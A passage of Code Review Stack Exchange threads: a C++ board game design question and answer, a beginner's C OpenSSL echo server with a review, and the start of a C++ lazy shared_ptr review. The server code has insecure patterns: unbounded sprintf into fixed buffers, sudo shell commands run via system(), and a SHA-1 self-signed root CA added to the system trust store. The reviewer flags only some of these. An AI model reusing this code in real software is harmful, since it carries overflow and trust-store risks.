if (succ)
valid_moves.erase(point);
return succ;
}
template<typename Board>
void game::State<Board>::update_utility(int u) {
utility = u;
}
#endif
</code></pre>
<p>I define <code>Board</code> as a base class so that derived classes can have their own implementation of <code>display</code> and <code>is_valid</code>. For example, the following code is my implementation of these functions for <a href="https://en.wikipedia.org/wiki/Hex_(board_game)" rel="nofollow noreferrer">Hex</a></p>
<pre class="lang-cpp prettyprint-override"><code>// hex_board.cpp
void HexBoard::display() const {
static constexpr char RESET[] = "\033[0m";
static constexpr char RED[] = "\033[31m";
static constexpr char BLUE[] = "\033[34m";
auto n = get_board_size();
for (auto i = 0; i != n; ++i) {
std::cout << std::string(i, ' ');
for (auto j = 0; j != n; ++j) {
auto x = Board::get_piece(i, j);
switch (x) {
case Piece::Blank: std::cout << ". ";
break;
case Piece::White: std::cout << RED << "x " << RESET;
break;
case Piece::Black: std::cout << BLUE << "o " << RESET;
break;
}
}
std::cout << std::endl;
}
}
vector<Point> game::HexBoard::get_adjacent_points(Point point, Piece piece) const {
int i = point.first, j = point.second;
int n = get_board_size();
std::vector<Point> ans;
for (const auto& s: HexNeighbor) {
int x = i + s.first, y = j + s.second;
if (is_on_board(x, y) && get_piece(x, y) == piece) {
ans.push_back(make_pair(x, y));
}
}
return ans;
}
</code></pre>
<p>The <code>State</code> is a template because it owns a <code>Board</code>. If I define it as a plain class, then it has to store the board via a (smart) pointer so that it can point to a subclass of <code>Board</code>. I don't do that in the first place because in algorithms, like Monte Carlo tree search, we usually have to create many subsequent <code>State</code>s so as to see which action performs best. Regarding the number of potential states the algorithm has to create, I think it's better to put <code>State</code>s on the heap. And if <code>State</code> stores a pointer to <code>Board</code> then there will be two indirect access, which I'm not so sure if it's good.</p>
<p>Now I'm about to write <code>Player</code>, in which algorithms such as Monte Catlo tree search are implemented. Now a problem arises: because <code>Player</code> takes in <code>State</code> to make an action and <code>State</code> is a template, <code>Player</code> has also to be a template. On the other hand, I'd like to define <code>Player</code> as a base class so that subclasses can implement different strategies. I know that defining a hierarchy on a template class can cause <a href="https://www.modernescpp.com/index.php/c-core-guidelines-rules-for-templates-and-hierarchies" rel="nofollow noreferrer">code bloating</a> because of the virtual functions. This makes me rethink all design and I come with two solutions</p>
<ol>
<li>Don't define any virtual function in <code>Player</code> and subclass it for different algorithms. This dispenses with the concerns of code bloating. Furthermore, I can define <code>Board</code> as a template and specialize it for different games as I don't think there is a need for dynamic binding.</li>
<li>Define <code>State</code> as a plain class that contains a smart pointer to <code>Board</code>. In this way, there is no template anymore.</li>
</ol>
<p>Which one is a better way to go? How should I make the choice? Or are there any other better solutions?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T02:59:24.060",
"Id": "503961",
"Score": "0",
"body": "How many different boards/algorithms do you think you will have? Unless there's tons of them that work simultaneously, I wouldn't worry about code boating at this point, and I would simply remove all the virtual functions and use templates. But that's subjective."
}
] |
[
{
"body": "<p>Inevitably, as you have mentioned, it all comes down to the choice\nbetween two approaches — templates and virtuals. These two\napproaches each have their own benefits and drawbacks.</p>\n<p>The problem with your current code, though, is that it mixes the two\napproaches in a suboptimal way. Your <code>Board</code> class is intended to be\nan interface, but it tries to implement a common representation as\nwell. The problem with this approach is that it forces subclasses to\ncarry the same data, which often turns out to be unnecessary and\nburdensome — the square representation used in <code>Board</code> may not\nturn out suitable for all boards, for example. (See also <a href=\"https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#c121-if-a-base-class-is-used-as-an-interface-make-it-a-pure-abstract-class\" rel=\"nofollow noreferrer\">C.121</a>)</p>\n<p>To solve this problem, we first destroy the interface nature of\n<code>Board</code>, and rename it to reflect that it only serves as a helper for\nimplementing square boards:</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>class RectangularBoardBase /* : public Board */ {\npublic:\n explicit RectangularBoardBase(std::size_t size_);\n // default implementations that subclasses can inherit\n // if they do not require special treatment\n void display() const /* override */;\n bool is_valid(Point) const /* override */;\n // ... queries, accessors, modifiers ...\nprotected:\n using Representation = std::vector<std::vector<Piece>>;\n // ... implementation helpers ...\nprivate:\n std::size_t size;\n Representation pieces;\n};\n</code></pre>\n<p>note that the special member functions are gone, and that <code>display</code>\nhas been reduced to an ordinary member function in case you have a\ndefault rectangular display (you can get rid of it altogether if there\nis no default display, as is the case with your original code, where\nyou leave <code>display</code> pure virtual).</p>\n<p>After this point, the solutions are slightly different for the two\napproaches.</p>\n<hr />\n<h1>Approach 1 — templates</h1>\n<p>Board types derive from <code>RectangularBoardBase</code> if it is helpful, or,\nfor non-rectangular boards, start from scratch. For board types that\nimplement their own <code>display</code>, like <code>HexBoard</code>, simply ignore the\n<code>display</code> from the base class. The board types are related by the\ncommon interface that you decide without the presence of a common base\nclass.</p>\n<p>For maintenance, you can make a concept (since C++20) or add a set of\nold-style <code>static_asserts</code> to your tests to make sure that board types\nimplement the common interface.</p>\n<p>The board type becomes a template parameter of <code>State</code>, and <code>State</code>\nstores the <code>Board</code> directly.</p>\n<hr />\n<h1>Approach 2 — virtuals</h1>\n<p>Make the interface class an abstract class with pure virtuals only:</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>class Board {\npublic:\n virtual void display() const = 0;\n virtual bool is_valid(Point) const = 0;\n // ... other common virtuals, if necessary ...\n virtual ~Board() {}\nprotected:\n Board() = default;\n Board(const Board&) = default;\n Board& operator=(const Board&) = default;\n};\n</code></pre>\n<p><code>RectangularBoardBase</code> derives from <code>Board</code>, and board types then\nindirectly derive from this interface and implement the virtual\nmethods accordingly:</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>class HexBoard : public RectangularBoardBase {\npublic:\n // ...\n using RectangularBoardBase::RectangularBoardBase;\n // own version of display\n void display() const override;\n // inherit existing is_valid\nprivate:\n //...\n};\n</code></pre>\n<p>Alternatively, a board type may derive directly from <code>Board</code> and start\nfrom scratch if <code>RectangularBoardBase</code> is unhelpful:</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>class EmptyBoard : public Board {\npublic:\n Emptyboard() = default;\n\n void display() const override {\n std::cout << "nothing\\n";\n }\n bool is_valid(Point) const override {\n return false;\n }\n\n // ...\n};\n</code></pre>\n<p><code>State</code> contains a <code>std::unique_ptr<Board></code>, and accesses the board\nthrough dynamic dispatch.</p>\n<hr />\n<h1>Miscellaneous issues</h1>\n<p><code>std::vector<std::vector<Piece>></code> is not a compact representation\n— it stores the pieces noncontiguously, allows jagged boards,\nand introduces double allocation and double indirection overhead. The\nusual solution is to flatten the representation into a\n<code>std::vector<Piece></code> and calculate indexes on the fly.</p>\n<p>You seem to have the habit of writing out special member functions\n(copy/move constructors/assignment operators) manually, which is not\nnecessary. Leave them out, and the compiler will be able to\nsynthesize optimal versions of them on its own. An exception is when\na virtual destructor is present — ideally, this should only\nhappen in an abstract base class, where the issue is resolved as I\ndemonstrated above.</p>\n<p>Instead of <code>int</code>, use <code>std::size_t</code> to store indexes and dimensions.\nAlso, it seems unnecessary to have both <code>(Point)</code> and <code>(int, int)</code>\noverloads — I'd keep the first.</p>\n<p>Is there a specific reason why <code>White</code> is considered the default\npiece? If there isn't, I'd consider mandating the <code>Piece</code> argument in\nthe constructor of <code>State</code>.</p>\n<p>Consider making <code>display</code> take an <code>std::ostream&</code> argument for extra\nflexibility. Instead of <code>char</code> arrays, you can use\n<a href=\"https://en.cppreference.com/w/cpp/string/basic_string_view\" rel=\"nofollow noreferrer\"><code>std::string_view</code></a> (C++17) for more type safety. Instead of\n<code>endl</code>, consider using <code>\\n</code> to avoid unnecessary performance drop due\nto gratuitous flushing (<a href=\"https://stackoverflow.com/q/213907\"><code>std::endl</code> vs <code>\\n</code></a>).</p>\n<hr />\n<p>Last, all of the design choices I presented here are general\nguidelines only, and the details may have been somewhat arbitrary.\nSince you have a much more comprehensive grasp of your project, feel\nfree to make modifications and adapt them to your needs as\nappropriate.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T13:13:12.807",
"Id": "504138",
"Score": "1",
"body": "Hello and thank you so much for the review and insightful feedback. I learned a lot from your feedback and have modified my code as you suggested. I've implemented both versions and found the template version was more tedious as I had to define all functions that invoked Board and Player as templates too. BTW, the default choice of piece should be Blank or Black(White was a mistake) as in general board game the player with white piece moves first."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T04:04:36.407",
"Id": "255430",
"ParentId": "255360",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "255430",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T08:34:43.073",
"Id": "255360",
"Score": "2",
"Tags": [
"c++",
"object-oriented",
"design-patterns",
"template"
],
"Title": "Board game design in C++"
}
|
255360
|
<h2>Background</h2>
<p>Lately, I found <code>OpenSSL</code> to be difficult to learn as a beginner, while it can be implemented inside beginner-friendly projects like socket programming. After two weeks of research, I've written the following program. I thought to share it with the community to detect issues that can be improved, and add a resource for <code>OpenSSL</code> learning.</p>
<h2>Goal</h2>
<p>The goal of this post is to raise a conversation around a working secure socket program and find ways to improve it. There are some subjects which can be discussed:</p>
<ol>
<li><strong>Security.</strong> Can the program handle real-world threats? Or else the connection is too basic and can be exploited easily?</li>
<li><strong>Duplicated Settings.</strong> The client and the server both use the same settings, like error messages. In a real program, a client and a server would also use the same communication rules. My first thought was to use <code>MongoDB</code> to store settings, but it was very slow and messy to import settings from a database. How can we handle this?</li>
<li><strong>Any</strong> other tips and fixes.</li>
</ol>
<h2>Description</h2>
<p>The program opens a simple secure connection between a client and the server. The server can handle multiple clients at a time while sending fixed echo messages <code>"OK!"</code>. Each client is allowed to send custom messages or quit the program.</p>
<p>The server program requires a root certificate and a server certificate to work with. It can generate them and execute the <code>openssl</code> commands for you: <code>sudo ./server install root</code>. <code>OpenSSL</code> must be installed.</p>
<pre><code>kali@DESKTOP-DFHKO83:/mnt/c/Users/Ori/desktop/crev/server$ sudo ./server 8080
Waiting for clients to connect...
{127.0.0.1, 54872}: this is client1! || {sent}: OK!
{127.0.0.1, 54873}: this is client2 || {sent}: OK!
</code></pre>
<h2>Project Structure</h2>
<p>The <code>client</code> and the <code>server</code> programs were written the same way. Therefore, only the <code>server</code> source code is provided. The <code>client</code> source code <a href="https://github.com/orid2004/Projects/tree/main/zecure" rel="nofollow noreferrer">is available on github</a>.</p>
<pre><code>.
├── client
│ ├── build
│ │ └── CMakeLists.txt
│ ├── connection.c
│ ├── exit.c
│ ├── include
│ │ ├── connection.h
│ │ ├── exit.h
│ │ └── settings.h
│ └── main.c
└── server
├── build
│ └── CMakeLists.txt
├── connection.c
├── exit.c
├── include
│ ├── connection.h
│ ├── exit.h
│ └── settings.h
└── main.c
</code></pre>
<h2>Server Source Code</h2>
<p><strong>CMakeLists.txt</strong></p>
<pre><code>cmake_minimum_required(VERSION 3.13)
project(server C)
set(CMAKE_C_STANDARD 11)
add_executable(server main.c exit.c connection.c)
target_link_libraries(server ssl crypto)
</code></pre>
<pre><code>sudo apt-get install openssl
cmake build
make
sudo ./server install root
sudo ./server 8080
</code></pre>
<p><strong>connection.h</strong></p>
<pre><code>int bindAddr(int port);
void useCertificate(SSL_CTX* ctx, char* CertFile, char* KeyFile);
SSL_CTX* InitServerCTX(void);
void startServer(SSL_CTX *ctx, int *server, int port);
void closeSSL(SSL* ssl);
void closeServerSSL(int server, SSL_CTX* ctx);
</code></pre>
<p><strong>exit.h</strong></p>
<pre><code>// --- exit integers ---
enum exit {
EXIT_OK,
NOT_ROOT,
ARGS_ERR,
SSL_MISSING,
CRT_VERIFICATION,
BIND_ERR,
LISTEN_ERR,
ABORT,
KEYS_NOT_MATCH,
CRT_USE_ERR,
PKEY_USE_ERR,
SYS_CMD_ERR,
ROOT_CRT_ERR,
CRT_UPDATE_ERR,
SERVER_CRT_ERR,
LAST
};
int report(int err);
int reportExit(int err);
const char* getExitName(enum exit ex);
void printReportsInfo();
</code></pre>
<p><strong>settings.h</strong></p>
<pre><code>// --- global settings ---
#define FAIL -1
#define SSL_PKG "openssl"
#define SH_RP_ARG "reports"
#define REPORT_PATH "report/err.rprt"
#define CRT_PATH "certificates"
#define ROOT_PATH "/usr/share/ca-certificates/extra"
#define ROOT_FNAME "rootsslzp"
#define SERVER_CRT_FNAME "server"
#define ROOT_REQ_CNF "\"/C=IL/ST=Israel/L=Israel/O=Ori David/OU=root-req-unit/CN=root-crt/emailAddress=test@gmail.com/\""
#define SERVER_REQ_CNF "\"/C=IL/ST=Israel/L=Israel/O=Ori David/OU=server-req-unit/CN=server-crt/emailAddress=test@gmail.com/\""
#define SCRIPTS_PATH "scripts"
#define ROOT_CRT_WARNING "No root certificate. Suggestions:\n 1. RUN: sudo ./server install root\n 2. Install a root ceritificate as '/usr/share/extra/rootsslzpcert.crt'\n"
char *servercert, *serverkey;
</code></pre>
<p><strong>connection.c</strong></p>
<pre><code>#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <malloc.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <resolv.h>
#include "openssl/ssl.h"
#include "openssl/err.h"
#include "include/settings.h"
#include "include/connection.h"
#include "include/exit.h"
int bindAddr(int port) {
// --- bind address to socket ---
struct sockaddr_in addr;
int sd = socket(PF_INET, SOCK_STREAM, 0); // --- server descriptor ---
bzero(&addr, sizeof(addr)); // --- memset addr to zero --
addr.sin_family = AF_INET; // --- IPv4 address family
addr.sin_port = htons(port); // --- convert to network short byte order ---
addr.sin_addr.s_addr = INADDR_ANY; // --- set the IP of the socket / sin_addr is an union ---
if (bind(sd, (struct sockaddr*)&addr, sizeof(addr)) != 0) reportExit(BIND_ERR); // --- bind address ---
if (listen(sd, 10) != 0) reportExit(LISTEN_ERR); // --- set listen queue ---
return sd; // -- return descriptor ---
}
void useCertificate(SSL_CTX* ctx, char* CertFile, char* KeyFile) {
// --- use server certificate ---
if (SSL_CTX_use_certificate_file(ctx, CertFile, SSL_FILETYPE_PEM) <= 0) reportExit(CRT_USE_ERR);
else if (SSL_CTX_use_PrivateKey_file(ctx, KeyFile, SSL_FILETYPE_PEM) <= 0) reportExit(PKEY_USE_ERR);
else if (!SSL_CTX_check_private_key(ctx)) reportExit(KEYS_NOT_MATCH); // --- check private key ---
}
SSL_CTX* InitServerCTX(void) {
// --- create server ssl context ---
OpenSSL_add_all_algorithms(); // --- set cryptos ---
SSL_load_error_strings(); // --- set error messages ---
const SSL_METHOD *method = TLS_server_method(); // --- create server method ---
SSL_CTX *ctx = SSL_CTX_new(method); // --- create server context ---
if (ctx == NULL) ERR_print_errors_fp(stderr);
else return ctx;
reportExit(ABORT);
}
void closeSSL(SSL* ssl) {
// --- close client ssl ---
SSL_free(ssl);
close(SSL_get_fd(ssl));
}
void closeServerSSL(int server, SSL_CTX* ctx) {
// --- close server ssl ---
close(server);
SSL_CTX_free(ctx); // --- release context ---
}
</code></pre>
<p><strong>exit.c</strong></p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include "include/exit.h"
#include "include/settings.h"
#include <sys/socket.h>
int report(int err) {
// --- create report file ---
char cmd[128];
sprintf(cmd, "touch %s && echo %i > %s", REPORT_PATH, err, REPORT_PATH);
system(cmd);
printf("\nEXIT: %i\nINFO: ./server reports\n", err);
}
int reportExit(int err) {
// --- report error and exit --
report(err);
exit(-1);
}
const char* getExitName(enum exit ex) {
// --- convert exit integer to string ---
switch (ex)
{
case EXIT_OK: return "EXIT OK";
case NOT_ROOT: return "NOT ROOT";
case ARGS_ERR: return "ARGS ERR";
case SSL_MISSING: return "SSL MISSING";
case CRT_VERIFICATION: return "CRT VERIFICATION";
case BIND_ERR: return "BIND ERR";
case LISTEN_ERR: return "LISTEN ERR";
case ABORT: return "ABORT";
case KEYS_NOT_MATCH: return "KEYS NOT MATCH";
case CRT_USE_ERR: return "CRT USE ERR";
case PKEY_USE_ERR: return "PKEY USE ERR";
case SYS_CMD_ERR: return "SYS CMD ERR";
case ROOT_CRT_ERR: return "ROOT CRT ERR";
case CRT_UPDATE_ERR: return "CRT UPDATE ERR";
case SERVER_CRT_ERR: return "SERVER CRT ERR";
}
}
void printReportsInfo() {
// --- print exit enum strings ---
for (int i = EXIT_OK; i < LAST; i++) printf("[%i] %s\n", i, getExitName(i));
reportExit(EXIT_OK);
}
</code></pre>
<p><strong>main.c</strong></p>
<pre><code>// ---libraries---
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <malloc.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <resolv.h>
#include "openssl/ssl.h"
#include "openssl/err.h"
#include "include/settings.h"
#include "include/exit.h"
#include "include/connection.h"
// ---mkdirs strings ---
char mkdirs[512];
// --- SSL client ---
typedef struct Client {
SSL *ssl;
int d;
struct sockaddr_in addr;
socklen_t len;
} Client;
// ---functions---
void createDirs();
int listPackage(char pkg[]);
int isRootCrt();
void updateCA();
void writeRootCrt();
void writeCertificate();
void acceptConnections(int server, SSL_CTX *ctx);
void handleClient(int server, Client *client, SSL_CTX *ctx);
int main(int argc, char *argv[]){
// --- main --
sprintf(mkdirs, "report,/usr/share/ca-certificates/extra,%s", CRT_PATH); // --- directories str ---
createDirs(); // --- create directories ---
if (argc == 1) reportExit(ARGS_ERR);
if (argc == 2 && strcmp(argv[1], "reports") == 0) printReportsInfo();
if (argc == 3 && strcmp(argv[1], "install") == 0 && strcmp(argv[2], "root") == 0) writeRootCrt(); // --- install root certificate ---
if (getuid() != 0) reportExit(NOT_ROOT); // --- sudo required ---
if (!listPackage(SSL_PKG)) reportExit(SSL_MISSING); // --- openssl should be installed ---
if (argc != 2) {
printf("Usage: %s <server> <port>", argv[0]); // --- wrong usage ---
reportExit(EXIT_OK);
}
if (!isRootCrt()) {
printf("%s\n", ROOT_CRT_WARNING); // --- no root certificate ---
reportExit(EXIT_OK);
}
writeCertificate(); // --- create server certificates ---
// --- init SSl and server context ---
SSL_library_init(); // --- init ssl lib ---
SSL_CTX *ctx = InitServerCTX(); // --- create ssl context ---
useCertificate(ctx, servercert, serverkey); // --- load sever certificates from settings ---
int server = bindAddr(atoi(argv[1])); // --- bind address ---
acceptConnections(server, ctx); // --- accept connection from clients ---
}
void createDirs() {
// --- create directories --
char cmd[64], delim[] = ",";
char *ptr = strtok(mkdirs, delim); // --- split directories str ---
while(ptr != NULL) {
sprintf(cmd, "/bin/mkdir -p %s", ptr); // --- system command ---
if (system(cmd) == FAIL) reportExit(SYS_CMD_ERR); // --- make directory ---
ptr = strtok(NULL, delim); // --- split next ---
}
}
int listPackage(char pkg[]) {
// --- check if a package is installed on the system ---
char cmd[128], out[256], pkg_str[32];
sprintf(cmd, "/bin/dpkg -l | grep %s", pkg); // --- system command ---
FILE *f = popen(cmd, "r"); // --- execute command ---
if (f == NULL) reportExit(SYS_CMD_ERR); // --- faild to execute dpkg ---
while (fgets(cmd, sizeof(cmd), f) != NULL) strcat(out, cmd); // --- copy output to buffer ---
sprintf(pkg_str, "ii %s", pkg); // --- package info string ---
return strstr(out, pkg_str) != NULL;
}
int isRootCrt() {
// --- check if there's a root certificate under ROOT_PATH
char rootcert[128];
sprintf(rootcert, "%s/%scert.crt", ROOT_PATH, ROOT_FNAME); // --- system command ---
FILE *f = fopen(rootcert, "r"); // --- open root certificate ---
return f != NULL;
}
void updateCA() {
// --- update trustred certificates ---
char cmd[512];
strcat(cmd, "sudo update-ca-certificates && sudo dpkg-reconfigure ca-certificates"); // --- system command ---
if (system(cmd) == FAIL) reportExit(CRT_UPDATE_ERR); // --- update certificates ---
}
void writeRootCrt() {
// --- create a root CA certificate ---
char rootkey[128], rootreq[128], rootcert[128], cmd[512], *cmdp = cmd;
// --- keys path ---
sprintf(rootkey, "%s/%skey.pem", ROOT_PATH, ROOT_FNAME);
sprintf(rootreq, "%s/%sreq.pem", ROOT_PATH, ROOT_FNAME);
sprintf(rootcert, "%s/%scert.crt", ROOT_PATH, ROOT_FNAME);
// --- create system command ---
cmdp += sprintf(cmdp, "openssl req -newkey rsa:2048 -sha1 -nodes -keyout %s -out %s -subj %s", rootkey, rootreq, ROOT_REQ_CNF);
sprintf(cmdp, " && openssl x509 -req -in %s -sha1 -signkey %s -out %s", rootreq, rootkey, rootcert);
if (system(cmd) == FAIL) reportExit(ROOT_CRT_ERR); // --- generate keys ---
updateCA(); // --- Install CA certificate as trusted certificate ---
writeCertificate();
reportExit(EXIT_OK);
}
void writeCertificate() {
// --- create server certificate under certificates folder
char scpath[128], cmd[1024], *cmdp = cmd, basepath[64], rootkey[128];
// --- keys path ---
sprintf(rootkey, "%s/%skey.pem", ROOT_PATH, ROOT_FNAME);
sprintf(basepath, "%s/%s", CRT_PATH, SERVER_CRT_FNAME);
sprintf(scpath, "%s/%scert.pem", CRT_PATH, SERVER_CRT_FNAME);
FILE *f = fopen(scpath, "r"); // --- search for a server certificate ---
if (f == NULL) {
// --- system command: generate server certificate ---
cmdp += sprintf(cmdp, "/bin/openssl req -newkey rsa:2048 -sha256 -nodes -keyout %skey.pem -out %sreq.pem -subj %s", basepath, basepath, SERVER_REQ_CNF);
sprintf(cmdp, " && sudo openssl x509 -req -days 3650 -sha256 -extensions v3_ca -in %sreq.pem -CA /etc/ssl/certs/%scert.pem -CAkey %s -CAcreateserial -out %s", basepath, ROOT_FNAME, rootkey, scpath);
if (system(cmd) == FAIL) reportExit(SERVER_CRT_ERR);
}
// --- allocate global keys ---
servercert = malloc(128);
serverkey = malloc(128);
// --- save keys ---
strcpy(servercert, scpath);
sprintf(serverkey, "%skey.pem", basepath);
}
void acceptConnections(int server, SSL_CTX *ctx) {
// --- wait and create new clients ---
Client *client;
printf("Waiting for clients to connect...\n");
while (1) {
client = malloc(sizeof(Client));
client->len = sizeof(client->addr);
client->d = accept(server, (struct sockaddr*)&(client->addr), &(client->len)); // --- client descriptor ---
client->ssl = SSL_new(ctx); // --- hold data for the SSL cocnnection ---
SSL_set_fd(client->ssl, client->d); // --- assigns a socket to a SSL structure ---
// --- wait for a SSL client to initiate the handshake ---
if (SSL_accept(client->ssl) != FAIL)
if (!fork()) { handleClient(server, client, ctx); }
}
}
void handleClient(int server, Client *client, SSL_CTX *ctx) {
// --- read messages and send echo ---
int bytes;
char buff[1024], echo[] = "OK!";
while (1) {
buff[0] = '\0'; // --- clear buffer ---
bytes = SSL_read(client->ssl, buff, 1024); // --- read message ---
if (bytes != 0) {
// --- show [client, message] ---
printf("{%s, %d}: %s || {sent}: %s\n",inet_ntoa(client->addr.sin_addr), ntohs(client->addr.sin_port), buff, echo);
SSL_write(client->ssl, echo, strlen(echo)); // --- send echo ---
}
else break; // --- end connection with client ---
}
// --- close client ---
close(client->d);
SSL_free(client->ssl);
}
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T15:03:20.687",
"Id": "503839",
"Score": "1",
"body": "Great question - complete and well-formatted."
}
] |
[
{
"body": "<p>In no particular order:</p>\n<h2>Settings</h2>\n<p>You've put them in one place - great. Changing them requires recompilation - not great. Consider moving them to a settings file.</p>\n<h2>Name conflicts</h2>\n<p><code>enum exit</code>, though technically not in the same namespace as <code>exit()</code> from <code>stdlib.h</code>, is needlessly confusing. Probably name it something else.</p>\n<h2>Formatting</h2>\n<p>Your code style is very... squished. You need to add some empty lines on the inside of functions; there are currently none at all. Probably after <code>if()</code>, too.</p>\n<p>Your <code>---</code> in comments are not helping; they're just visual noise.</p>\n<p>You use two different pointer styles:</p>\n<pre><code>SSL_CTX* InitServerCTX\nSSL_CTX *ctx\n</code></pre>\n<p>I prefer the second, but either way you should pick one.</p>\n<h2>Error lookup</h2>\n<p><code>getExitName</code> can be replaced to a single lookup in an array of strings, since your error enum is contiguous.</p>\n<h2>Security</h2>\n<p>You have fixed-size buffers all over the place and, just like in the "bad old days", access to them is frequently vulnerable to overrun attacks as in</p>\n<pre><code>sprintf(mkdirs\nsprintf(cmd\n</code></pre>\n<p>You need to audit these, replacing such calls with calls that respect the buffer size.</p>\n<h2>Shell interaction</h2>\n<p>You need to re-think <code>report()</code>. <code>system</code> carries a pile of risks and issues that you can easily avoid - since all you're doing is <code>touch</code>, and a file write to <code>REPORT_PATH</code>, just use direct C I/O, without touching the shell.</p>\n<p>Also consider append mode instead of truncate mode, as you currently have it, for your report.</p>\n<p>Somewhat similarly, your call to <code>dpkg</code> - where shell access is perhaps still the most convenient method - should not pipe through <code>grep</code>. Just do the string match yourself.</p>\n<p><code>openssl</code> definitely has C bindings that will be more reliable, fast and safe than invoking the <code>openssl</code> command through the shell.</p>\n<h2>C99 initialization sugar</h2>\n<p>Your <code>struct sockaddr_in addr</code> initialization would benefit from using C99-style struct literal initialization, which would also obviate the call to <code>bzero</code>.</p>\n<h2>Discussion</h2>\n<blockquote>\n<p>Wouldn't it be faster to compile the settings within each update, [than] to read them from a file with each execution?</p>\n</blockquote>\n<p>Think about your eventual end users. They won't even want your source code on their hard drive if they're Debian-like users that install binary packages. A settings-in-header application would execute "faster" (by a few microseconds) than one that loads its settings from a file; but twenty seconds of effort to change a settings file is faster than what - for some users - would be many minutes of toil to set up a development environment just to change a string.</p>\n<blockquote>\n<p>The security issue you mentioned called buffer overflow vulnerability, am I right?</p>\n</blockquote>\n<p><a href=\"https://en.wikipedia.org/wiki/Buffer_overflow\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/Buffer_overflow</a></p>\n<blockquote>\n<p>Also, I have had a feeling that the shell interaction regards openssl is wrong, but the "user" ends up using the shell after all, don't they?</p>\n</blockquote>\n<p>See e.g. <a href=\"https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152177\" rel=\"nofollow noreferrer\">this recommendation</a>. It's a matter of "what's possible". The shell is a much (much, <em>much</em>) more complicated application than yours, so including it vastly broadens the surface area for bugs, security vulnerabilities, and cross-system incompatibility.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T23:54:50.450",
"Id": "503893",
"Score": "1",
"body": "Great answer! Thank you :) Few follow up discussions before I accept. Wouldn't it be faster to compile the settings within each update, whether to read them from a file with each execution? The security issue you mentioned called buffer overflow vulnerability, am I right? Also, I have had a feeling that the shell interaction regards `openssl` is wrong, but the \"user\" ends up using the shell after all, don't they? I guess running `./server install root` is a lazy way to generate the certificates, without any `openssl` knowledge."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T21:58:22.350",
"Id": "255393",
"ParentId": "255366",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "255393",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T12:25:27.203",
"Id": "255366",
"Score": "3",
"Tags": [
"c",
"linux",
"socket",
"openssl"
],
"Title": "Secure socket programming with OpenSSL and C"
}
|
255366
|
<p>I have written a very simple wrapper around <code>std::shared_ptr</code> that supports lazy initialization. Do you see any problems?</p>
<pre><code>#include <functional>
#include <tuple>
#include <utility>
template <class T, typename ... Args>
class LazySharedPtr {
public:
LazySharedPtr(Args ... args) :
ptr(nullptr) {
this->init = [args = std::make_tuple(std::forward<Args>(args) ...)]() mutable {
return std::apply([](auto&& ... args) {
return std::make_shared<T>(std::forward<Args>(args) ...);
}, std::move(args));
};
}
virtual ~LazySharedPtr() = default;
bool IsInited() const noexcept {
return ptr != nullptr;
}
void Init() {
this->InitAndGet();
}
std::shared_ptr<T> Get() {
return (ptr) ? ptr : InitAndGet();
}
const std::shared_ptr<T> Get() const {
return (ptr) ? ptr : InitAndGet();
}
T* operator ->() {
return this->Get().get();
}
const T* operator ->() const {
return this->Get().get();
}
explicit operator bool() const noexcept {
return this->IsInited();
}
protected:
std::function<std::shared_ptr<T>()> init;
mutable std::shared_ptr<T> ptr;
std::shared_ptr<T> InitAndGet() const {
ptr = this->init();
return ptr;
}
};
</code></pre>
<p><em>Note:</em> Visual Studio report warning for <code>this->Get().get()</code>:</p>
<blockquote>
<p>Warning C26815 The pointer is dangling because it points at a
temporary instance which was destroyed.</p>
</blockquote>
<p>However, I dont see why, because shared_ptr is owned by the class so there should alway be at least one instance "alive". Imho, This warning is not reported by compiler, only by Intellisense.</p>
|
[] |
[
{
"body": "<p>A really useful idea - well worth creating.</p>\n<p>Missing <code>#include <memory></code>. With that fixed, I get almost clean compilation:</p>\n<pre class=\"lang-none prettyprint-override\"><code>255367.cpp:9:5: warning: ‘LazySharedPtr<int, int>::init’ should be initialized in the member initialization list [-Weffc++]\n</code></pre>\n<p>I agree, we should use the initialisation list for <code>init</code>:</p>\n<pre><code>LazySharedPtr(Args ... args)\n : init{[args = std::make_tuple(std::forward<Args>(args) ...)]() mutable\n {\n return std::apply([](auto&& ... args) {\n return std::make_shared<T>(std::forward<Args>(args) ...);\n }, std::move(args));\n }},\n ptr{}\n{}\n</code></pre>\n<p>I don't see why we have the inner lambda. There's no good reason not to pass <code>std::make_shared()</code> directly to <code>std::apply()</code>, like this:</p>\n<pre><code>LazySharedPtr(Args ... args)\n : init{[args = std::make_tuple(std::forward<Args>(args) ...)]() mutable\n {\n return std::apply(std::make_shared<T, Args...>, std::move(args));\n }},\n ptr{}\n{}\n</code></pre>\n<p>I think the class could be easier to use. There's no need for the argument types to be part of the class itself, as they are erased by <code>std::function</code>. So make the class template have only <code>T</code> as argument. Otherwise we need separate code paths for our smart pointers if they are created differently. Much better to separate the type that is <em>essential</em> to the <code>LazySharedPtr</code> from those which are <em>accidental</em>:</p>\n<pre><code>template <class T>\nclass LazySharedPtr 